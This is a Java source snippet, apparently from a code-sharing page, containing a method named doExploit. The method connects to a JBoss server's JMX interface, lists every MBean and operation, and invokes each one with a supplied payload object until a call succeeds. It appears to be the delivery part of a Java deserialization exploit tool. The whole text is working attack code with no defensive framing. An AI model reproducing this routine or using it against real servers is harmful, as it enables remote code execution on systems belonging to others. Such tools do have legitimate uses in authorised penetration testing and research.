JBoss.java 文件源码

private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}